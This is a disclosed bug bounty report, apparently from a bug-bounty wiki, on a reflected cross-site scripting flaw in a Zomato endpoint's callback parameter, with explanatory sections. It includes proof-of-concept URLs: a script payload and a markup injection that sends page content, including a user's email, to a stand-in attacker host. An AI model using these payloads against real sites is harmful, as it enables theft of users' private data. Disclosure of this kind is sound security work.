Reflected Cross-Site Scripting in www.zomato.com/php/instagram_tag_relay
The callback parameter on a Zomato PHP endpoint was reflected without sanitisation, allowing script execution in the victim's browser. An attacker could use this to read sensitive data, such as the user's email address, from the page for users who had linked their Instagram account.
- Triaged in 19 days
- Fixed in 19 days
- Disclosed after 35 days
https://www.zomato.com/php/instagram_tag_relay is vulnerable to XSS via the callback parameter (both POST and GET).
PoC:
https://www.zomato.com/php/instagram_tag_relay?callback=%3Cscript%3Ealert(document.domain)%3C/script%3E
In addition, when a Zomato user accesses the page after having connected his Zomato account to Instagram, the page contains sensitive data (such as the user's email address). An attacker can use the vulnerability to access this data.
PoC:
https://www.zomato.com/php/instagram_tag_relay?callback=><img+src%3dhttps%3a//example.org/%3f
(causes the victim's browser to send a request to the attacker's server example.org, leaking the page's content).
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the callback parameter was reflected into the page without output encoding or validation.
Impact
An attacker could execute script in a victim's browser and access sensitive data such as the user's email address, but only for users who had connected their Zomato account to Instagram.
What the attacker needed
Victim clicks a crafted link; victim has linked Zomato to Instagram
How it was found
- Craft a URL to the endpoint with a script payload in the callback parameter.
- Send the URL to a victim who has linked their Zomato account to Instagram.
- The victim's browser executes the script, which can read sensitive page data.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Cross-site scripting (XSS) is when a website puts user-supplied text into a page without cleaning it, so an attacker can make the browser run their code. Here the callback parameter was echoed back, so a crafted link could run a script in the victim's browser. That script could then read private information shown on the page.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.